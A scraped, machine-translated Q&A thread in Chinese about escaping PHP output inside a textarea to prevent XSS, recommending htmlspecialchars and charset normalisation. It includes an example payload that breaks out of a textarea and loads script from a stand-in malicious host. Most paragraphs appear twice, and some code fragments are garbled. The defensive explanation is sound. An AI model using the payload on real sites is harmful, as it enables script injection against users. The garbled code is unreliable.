Php 需要对显示在<;textarea>;?
您是否必须转义或恢复Php 需要对显示在<;textarea>;?,php,html,textarea,Php,Html,Textarea,您是否必须转义或恢复中的输出 似乎如果我使用htmlentities()。。。;字符替换出现如果该输出最初由用户或任何不受信任的源(即,不是直接从您的代码)提供,则需要对其进行消毒以防止XSS攻击。如果该输出最初由用户或任何不受信任的源(即,不是直接从您的代码)提供然后,需要对其进行消毒以防止XSS攻击。 < P>您需要考虑用户可编辑的输出。如果它不是,并且它是一个可信的输出(可能来自您编写的预定义文本),那么您显然不会。否则是的。HTML字符的替换是很正常的,但您不必担心,因为当页面被读取并输
中的输出
似乎如果我使用
htmlentities()
。。。;字符替换出现如果该输出最初由用户或任何不受信任的源(即,不是直接从您的代码)提供,则需要对其进行消毒以防止XSS攻击。如果该输出最初由用户或任何不受信任的源(即,不是直接从您的代码)提供然后,需要对其进行消毒以防止XSS攻击。 < P>您需要考虑用户可编辑的输出。如果它不是,并且它是一个可信的输出(可能来自您编写的预定义文本),那么您显然不会。否则是的。HTML字符的替换是很正常的,但您不必担心,因为当页面被读取并输出到用户浏览器时,前面的所有字符都将保留在那里
<>请注意,<代码> <代码>和<代码> ,您需要考虑用户可以编辑的输出。如果它不是,并且它是一个可信的输出(可能来自您编写的预定义文本),那么您显然不会。否则是的。HTML字符的替换是很正常的,但您不必担心,因为当页面被读取并输出到用户浏览器时,前面的所有字符都将保留在那里
请注意,
和是的,您需要进行消毒。使用htmlspecialchars($str,entu QUOTES)
。是的,你需要消毒。请改用htmlspecialchars($str,entu QUOTES)
。始终避免
和
在文本区域的内容中出现所有
的情况。否则,可以提供以下内容(示例)来“转义”文本区域并注入HTML代码:
</textarea><script src="http://malicious.code.is/us.js"></script>
否则,这可能导致以下代码:
<textarea id="text"></textarea><script src="http://malicious.code.is/us.js"></script></textarea>
最后的第二个
将被忽略,之前的脚本标记将被执行。始终避免
(使用
和
)在文本区域的内容中发生的所有
)。否则,可以提供以下内容(示例)来“转义”文本区域并注入HTML代码:
</textarea><script src="http://malicious.code.is/us.js"></script>
否则,这可能导致以下代码:
<textarea id="text"></textarea><script src="http://malicious.code.is/us.js"></script></textarea>
末尾的第二个
将被忽略,前面的脚本标记将被执行。那么,您必须:
<?php
$content = "</textarea><script>alert('hi!')</script>";
?>
<textarea>
<?php echo $content; ?>
</textarea>
嗯,你必须:
<?php
$content = "</textarea><script>alert('hi!')</script>";
?>
<textarea>
<?php echo $content; ?>
</textarea>
仅使用htmlspecialchars()
是不够的。它仍然使您容易受到某些多字节字符攻击向量的攻击(即使使用htmlspecialchars($string,ENT_QUOTES | ENT_SUBSTITUTE,'UTF-8')
也许看看一个类库可以给你一个更完整的解决方案
下面是PHP中XSS保护的一个很好的总结
仅使用htmlspecialchars()
是不够的。它仍然会使您容易受到某些多字节字符攻击向量的攻击(即使使用htmlspecialchars($string,ENT_QUOTES,ENT|u SUBSTITUTE,'UTF-8')
也许看看一个类库可以给你一个更完整的解决方案
下面是PHP中XSS保护的一个很好的总结
输出从何而来?清理所有内容。不信任任何内容。输出从何而来?清理所有内容。不信任任何内容。我的印象是,如果您在页面和htmlspecialchars中指定任何给定的字符集
(并且您使用mb\u convert\u编码
或iconv
来确保您只接受该字符集),那么它应该是安全的,不是吗?如果您在制作htmlspecialchars()之前使用mb\u convert\u编码()
call,我想你应该没问题。我的印象是,如果你在页面和htmlspecialchars
中指定任何给定的字符集(并且你使用mb\u convert\u编码
或iconv
确保你只接受该字符集),那么它应该是安全的,不是?如果你使用mb\u convert\u编码()
在拨打htmlspecialchars()
电话之前,我认为您应该没事。